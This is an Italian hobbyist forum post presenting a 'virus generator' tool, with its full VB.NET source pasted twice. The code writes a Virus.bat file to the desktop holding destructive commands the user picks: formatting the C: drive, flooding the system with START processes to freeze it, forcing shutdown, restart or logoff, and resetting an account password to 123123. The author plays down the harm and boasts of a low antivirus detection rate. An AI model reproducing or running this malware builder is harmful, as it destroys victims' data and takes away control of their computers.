- 9 Aprile 2012
- 553
- 0
- Miglior risposta
- 0
Ciaaaaaaaaaaaaaaaaaaaaaaao °_°
Vi faccio vedere la mia nuova versione dell'Universal Virus Batch, come sapete non è dannoso più di tanto, mi è servito solo come allenamento e credo che la v3.0 sarà la mia ultima versione e nella 3.0 non sarà un "generator batch" Ma genererà dei virus .exe...
Passiamo al programma
Screen :
Cosa ho aggiunto : Beh le funzioni aggiunte sono poche ma ho migliorato la grafica e aggiunto un form.show.... Già sono stato criticato negativamente sulla grafica....Ditemi voi cosa ne pensate sia della grafica che del programma, comunque alla 3.0 aggiungerò molte altre funzioni !
Download :
Scaaaansione ^^ :
Trovati 4/42 non chiedetemi che virus sono perchè non lo so neanche io, comunque sia potete stare tranquilli è un generatore di "virus" se delle esecuzioni del prompt si possono chiamare virus... Comunque ditemi cosa ne pensate :P
PS : DOPO LA 3.0 FARO' QUALCOSA DI PIU' UTILE CHE TUTTI VORRANNO UN CLuOD... NON DICO NIENT'ALTRO VEDRETE
Ah dimenticavo ecco la Source :P
SCUSATE PER IL DOWNLOAD NON FUNZIONANTE, ORA POTETE BENISSIMO SCARICARE IL FILE,SCUSATE ANCORA!
Vi faccio vedere la mia nuova versione dell'Universal Virus Batch, come sapete non è dannoso più di tanto, mi è servito solo come allenamento e credo che la v3.0 sarà la mia ultima versione e nella 3.0 non sarà un "generator batch" Ma genererà dei virus .exe...
Passiamo al programma
Screen :
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
+Cosa ho aggiunto : Beh le funzioni aggiunte sono poche ma ho migliorato la grafica e aggiunto un form.show.... Già sono stato criticato negativamente sulla grafica....Ditemi voi cosa ne pensate sia della grafica che del programma, comunque alla 3.0 aggiungerò molte altre funzioni !
Download :
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Scaaaansione ^^ :
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Trovati 4/42 non chiedetemi che virus sono perchè non lo so neanche io, comunque sia potete stare tranquilli è un generatore di "virus" se delle esecuzioni del prompt si possono chiamare virus... Comunque ditemi cosa ne pensate :P
PS : DOPO LA 3.0 FARO' QUALCOSA DI PIU' UTILE CHE TUTTI VORRANNO UN CLuOD... NON DICO NIENT'ALTRO VEDRETE
Ah dimenticavo ecco la Source :P
Imports System.IO.File
Public Class form1
Dim scrivi As System.IO.StreamWriter
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If Radiobutton1.Checked = True Then
TextBox1.Text = TextBox1.Text + "format C: /autotest /q /u" + vbCrLf
MsgBox("Hai selezionato formatta PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton2.Checked = True Then
TextBox1.Text = TextBox1.Text + "START" + vbCrLf + "START" + vbCrLf + "START" + vbCrLf + "START"
MsgBox("Hai selezionato impalla PC [Clicca tasto destro sul Virus->Modifica->Aggiungi altri Start per renderlo più potente!", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton3.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -s -f" + vbCrLf
MsgBox("Hai selezionato spegni PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton4.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -r -f" + vbCrLf
MsgBox("Hai selezionato Riavvia PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton5.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -l -f" + vbCrLf
MsgBox("Hai selezionato chiudi tutti i processi", MsgBoxStyle.Information, "Virus generator")
End If
If RadioButton7.Checked = True Then
TextBox1.Text = TextBox1.Text + "@net user admin 123123" + vbCrLf
MsgBox("Hai selezionato cambia password Utente PC in : 123123", MsgBoxStyle.Information, "Virus generator")
End If
If MsgBox("Il Virus è stato generato con successo! Controlla nel tuo DeskTop!", MsgBoxStyle.Information, "Virus generator") Then
End If
scrivi = System.IO.File.AppendText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Virus.bat")
scrivi.WriteLine(TextBox1.Text)
scrivi.Close()
TextBox1.Text = ""
TextBox1.Text = ""
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MsgBox("Benvenuto all'Universal generator virus batch!", MsgBoxStyle.Information, "Universal generator")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Form2.show()
End Sub
End Class
Public Class form1
Dim scrivi As System.IO.StreamWriter
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If Radiobutton1.Checked = True Then
TextBox1.Text = TextBox1.Text + "format C: /autotest /q /u" + vbCrLf
MsgBox("Hai selezionato formatta PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton2.Checked = True Then
TextBox1.Text = TextBox1.Text + "START" + vbCrLf + "START" + vbCrLf + "START" + vbCrLf + "START"
MsgBox("Hai selezionato impalla PC [Clicca tasto destro sul Virus->Modifica->Aggiungi altri Start per renderlo più potente!", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton3.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -s -f" + vbCrLf
MsgBox("Hai selezionato spegni PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton4.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -r -f" + vbCrLf
MsgBox("Hai selezionato Riavvia PC", MsgBoxStyle.Information, "Virus generator")
End If
If Radiobutton5.Checked = True Then
TextBox1.Text = TextBox1.Text + "shutdown -l -f" + vbCrLf
MsgBox("Hai selezionato chiudi tutti i processi", MsgBoxStyle.Information, "Virus generator")
End If
If RadioButton7.Checked = True Then
TextBox1.Text = TextBox1.Text + "@net user admin 123123" + vbCrLf
MsgBox("Hai selezionato cambia password Utente PC in : 123123", MsgBoxStyle.Information, "Virus generator")
End If
If MsgBox("Il Virus è stato generato con successo! Controlla nel tuo DeskTop!", MsgBoxStyle.Information, "Virus generator") Then
End If
scrivi = System.IO.File.AppendText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Virus.bat")
scrivi.WriteLine(TextBox1.Text)
scrivi.Close()
TextBox1.Text = ""
TextBox1.Text = ""
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MsgBox("Benvenuto all'Universal generator virus batch!", MsgBoxStyle.Information, "Universal generator")
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Form2.show()
End Sub
End Class
Ultima modifica:
